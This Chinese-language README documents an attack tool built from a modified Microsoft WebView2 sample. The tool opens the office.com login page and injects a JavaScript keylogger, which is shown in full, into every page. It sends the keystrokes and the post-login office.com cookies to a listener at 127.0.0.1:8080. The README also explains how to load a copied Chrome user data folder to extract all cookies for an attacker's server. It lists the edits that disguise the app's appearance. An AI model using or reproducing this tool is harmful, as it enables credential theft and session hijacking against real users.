源代码
这段代码是微软的WebView2代码的修改版。目前的代码可以被清理并做得更好。
使用方法
在Windows 10和11上测试。
当二进制文件被执行时,https://office.com/login 被加载。一个JavaScript键盘记录器被注入到每一个页面中,键盘敲击被发送到http://127.0.0.1:8080 。此外,在用户成功认证后,www.office.com 的cookie被base64编码并通过HTTP GET请求发送到http://127.0.0.1:8080 。
修改JavaScript
如果你想修改JavaScript,需要修改的代码如下所示:line 1096 在AppWindow.cpp 。
coreWebView2->AddScriptToExecuteOnDocumentCreated(L"var link = \"http://127.0.0.1:8080/keylog?k=\";var l = \"\";document.onkeypress = function (e){l += e.key;var req = new XMLHttpRequest();req.open(\"GET\",link.concat(l), true);req.send();}", nullptr);
窃取Chrome浏览器的Cookies
WebView2允许你用现有的用户数据文件夹(UDF)启动,而不是创建一个新的。UDF包含所有密码、会话、书签等。Chrome的UDF位于C:\Users\<username>\AppData\Local\Google\Chrome\User Data 。我们可以简单地告诉WebView2使用这个配置文件启动实例,并在启动时提取所有的cookie并将它们传输到攻击者的服务器上。
唯一的问题是,WebView2寻找一个名为EBWebView 的文件夹,而不是User Data (不知道为什么)。复制User Data 文件夹并将其重命名为EBWebView 。
需要修改
-
在
line 41在app.cpp。- 将
std::wstring userDataFolder(L"");改为std::wstring userDataFolder(L"C:\\Path\\To\\Temp"); - 指定的文件夹必须包含WebView2要读取的
EBWebView文件夹。
- 将
-
在
line 40,在ScenarioCookieManagement.cpp。- 将
GetCookiesHelper(L"https://login.microsoftonline.com");改为GetCookiesHelper(L"");
- 将
当GetCookiesHelper在没有提供任何网站的情况下被调用时,它将提取所有的cookies。
注意:如果有大量的cookie,这将无法在当前的应用程序中工作,因为应用程序使用有长度限制的GET请求来发送它们。
重要功能
如果你想对二进制文件进行修改,你可以在下面找到有关重要函数的信息。
- AppStartPage.cpp -
GetUri()函数有二进制执行时加载的URL。 - ScenarioCookieManagement.cpp -
SendCookies()函数包含发送cookie的IP地址和端口。 - AppWindow.cpp -
CallCookieFunction()函数等待,直到URL以https://www.office.com/?auth=开始并调用ScenarioCookieManagement::GetCookiesHelper(L"https://www.office.com") - WebView2APISample.rc - 外观修改
- 通过将所有的
POPUP值设置为"",删除菜单栏。 - 改变
IDS_APP_TITLE和IDC_WEBVIEW2APISAMPLE。这是在标题栏中的应用程序的名称。 - 改变
IDI_WEBVIEW2APISAMPLE和IDI_WEBVIEW2APISAMPLE_INPRIVATE和IDI_SMALL。这些都指向一个.ico文件,这是这个应用程序的图标。
- 通过将所有的
- Toolbar.cpp -
itemHeight必须设置为0,以删除顶部的菜单。这在这段代码中已经得到了处理。 - AppWindow.cpp -
LoadImage()应该被注释掉。这将隐藏蓝色的飞溅图像。这在这段代码中已经被处理过了。 - App.cpp -
new AppWindow(creationModeId, WebViewCreateOption(), initialUri, userDataFolder, false);将最后一个参数值改为true。这将隐藏工具条。这一点已经在这段代码中处理过了。